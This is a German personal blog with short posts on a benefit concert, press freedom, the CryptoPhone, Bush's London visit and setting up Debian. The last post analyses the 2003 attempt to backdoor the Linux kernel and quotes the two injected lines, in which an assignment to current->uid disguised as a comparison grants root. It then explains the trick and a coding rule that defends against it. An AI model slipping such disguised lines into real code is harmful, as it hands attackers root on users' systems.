Soli-Moshen

Am Freitag, dem 23. Januar 2004 bestreiten DIE APOKALYPTISCHEN REITER und HEAVEN SHALL BURN ein Benefizkonzert zugunsten des Solidaritätsfonds Ecuador. Die gesamten Einnahmen des Abends fließen in ein Kinderbetreuungsprojekt auf der „Isla Trinitaria“, einem der ärmsten Stadtteile in Guayaquil, der größten Stadt Ecuadors.

Ausführliche Infos zum Projekt sind unter http://www.solifond-ecuador.de zu finden. Das Konzert findet im Kassablanca Jena statt. Neben lokalen Openern sorgen die DJs von HELLBORN Metalradio für die entsprechende Umrahmung. (Quelle: metal.de / Sure Shot Worx)

Die schleichende Sucht nach Kontrolle

Kaum ein Interview mit einem Politiker gelangt ohne dessen Begutachtung und Einverständnis in die Zeitung. Wogegen im Prinzip nichts einzuwenden wäre, würden unsere Volksvertreter nicht ständig das gesprochene Wort abschwächen, glätten und umschreiben. Oder sich Fragen verbitten.

Foto geklaut von spiegel.de

Die TAZ startet eine Initiative für eine zensurfreie Interviews, mit dabei sind außerdem:
– die FTD: Wenn das gesprochene Wort nicht gilt
– die Berliner Zeitung: Von wegen Bonsai
– die FAZ: Das Interview als mißbrauchte Form des Journalismus
– die Frankfurter Rundschau: Wenn das gesprochene Wort nicht gilt
– der Kölner Stadtanzeiger: Eine Politiker-Unsitte grassiert in Berlin: Die Sprachdrechselei
– die Süddeutsche Zeitung: Nicht fummeln, Liebling!
– der Tagesspiegel: Vor Misbrauch wird gewarnt
– und die Welt: Die schleichende Sucht nach Kontrolle

Update: inzwischen haben es auch heise und Spiegel gemerkt;-)

„…sehe ich mich gezwungen, rechtliche Schritte einzuleiten“

Die Drohung mit dem Anwalt – eine Standardfloskel im deutschen Sprachraum. Warum wir lieber den Anwalt loshetzen, anstatt ein klärendes Gespräch zu führen, beschreibt Torsten Kleinz: Der Anwalt ersetzt den gesunden Menschenverstand (via SWR).

CryptoPhone

Andy Müller Maguhn und Frank Rieger haben die Idee eines Cryptophones markttauglich gemacht. Herausgekommen ist ein Mobiltelefon dass die derzeit stärkste Verschlüsselung implementiert (details).
Das stark an Trons Cryptophone erinnernde Produkt kostet 1790 Euro, die zugrunde liegende Software wurde auf Windows (ab NT 4.0) portiert und steht demnächst inclusive Sourcecode kostenlos zur Verfügung.
Ich behaupte mal: darauf hat die Welt 5 Jahre lang gewartet. Vielleicht kommt jetzt wieder ein bißchen Bewegung in das Thema abhörsicheres Telefonieren.
Ich weiss selbst, dass man ähnliche Resultate mit Voice Over IP und einem VPN erreichen kann. Es geht aber darum sicheres Telefonieren möglichst einfach zu ermöglichen. So lange der Benutzer mehr machen muss als die Telefonnummer zu wählen, kann man nicht von Massentauglichkeit sprechen.
(Quelle)

Wahnsinn mit System

Das große deutsche Propaganda-Magazin berichtet über den bevorstehenden Bush Besuch in London.
Die Details sprechen mal wieder für sich: “ So wollten die Amerikaner alle U-Bahnen, die unter Gegenden verkehren, in denen sich Bush aufhalten wird, für zwei Tage schließen lassen. Zudem forderten sie diplomatische Immunität für ihre Scharfschützen, falls die jemand erschießen würden. Beides lehnte das britische Innenministerium schließlich ab. Und die Queen weigerte sich, im Buckingham Palast schusssichere Scheiben einbauen zu lassen.“ und “ Das Weiße Haus besteht dagegen darauf, dass das gesamte Regierungsviertel Whitehall und die Umgebung des Buckingham Palasts „sterile“, das heißt demonstrationsfreie, Zonen sein müssten.“.
Jedes Mal wenn ich denke, die Arroganz und Überheblichkeit lässt sich nicht mehr überbieten, werde ich eines besseren belehrt 🙁

schulligung internezz

Kann nicht bloggen, muss arbeiten 😉

Ein paar Quickies gibt’s trotzdem: Michael Moore ist am Wochenende in Berlin (warum verkauft der Eintrittskarten für sich selbst ?). [tim]
Es ist mal wieder Blogger-Treffen in Berlin. [don]

Ich habe RSS für mich entdeckt und den Feed in meinem Weblog aktiviert (kucken sie mal rechts unten der Knopf da – genau). Leider kommt bei Sunlog nur grütze an, höchste Zeit auf G!Log umzusteigen.
Habe schnell festgestellt dass der Feed von Spiegel.de nicht zu gebrauchen ist, weil jede Änderung an einem Artikel einen neuen Eintrag bewirkt.

Das Erfolgserlebnis gestern war Debian auf einem Firmenrechner zu installieren, d.h. kein CD-ROM in der Kiste und Domänen-Authentifizierung am Proxy. Das grösste Problem war jedoch Disketten aufzutreiben 😉 Dann ging es fix, gebootet, Proxy-Settings richtig eingetragen und fortan via FTP installiert, was besonders an so einer dicken Standleitung Spaß macht.
Der Proxy-String muss btw. so aussehen:
http://domain\user:password@proxy.firma.de:Portnummer/

nice try (oder: links vor rechts)

Ein netter Versuch die Linux-Kernelquellen zu manipulieren ist heute bekannt geworden: in einen CVS Server wurde offensichtlich eingebrochen und versucht diese Zeilen in die Datei kernel/exit.c einzufügen:

  if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
    retval = -EINVAL;

Das diese Manipulation reichlich sinnlos ist, weil die Kernel-Quellen mit Bitkeeper verwaltet werden, war schnell klar. Lediglich um lesenden Zugriff für CVS User zu ermöglichen werden sie regelmäßig auf den CVS-Server exportiert, der Hack fand also am falschen Ende der Einbahnstraße statt.

Interessant ist jedoch der Hack selbst: in der zweiten if-Bedingung wird kein Vergleich (==) sondern eine Zuweisung (=) durchgeführt.

Dem geneigten Programmierer fällt das beim Lesen mitunter nicht auf, es ist auch eine beliebte Fehlerquelle – nicht nur bei Anfängern. Genau aus diesem Grund ist es Gold wert Coding-Guidelines einzuführen, die Konstanten in Vergleichen grundsätzlich links vorschreiben:

  if (0 == current->uid)

Das sieht erstmal gewöhnungsbedürftig aus, der Compiler meckert jedoch sofort bei versehentlichen Zuweisungen. Wird diese Regel konsequent durchgezogen, würden solche Angriffe sofort auffallen, versehentliche Zuweisungen hätten keine Chance.

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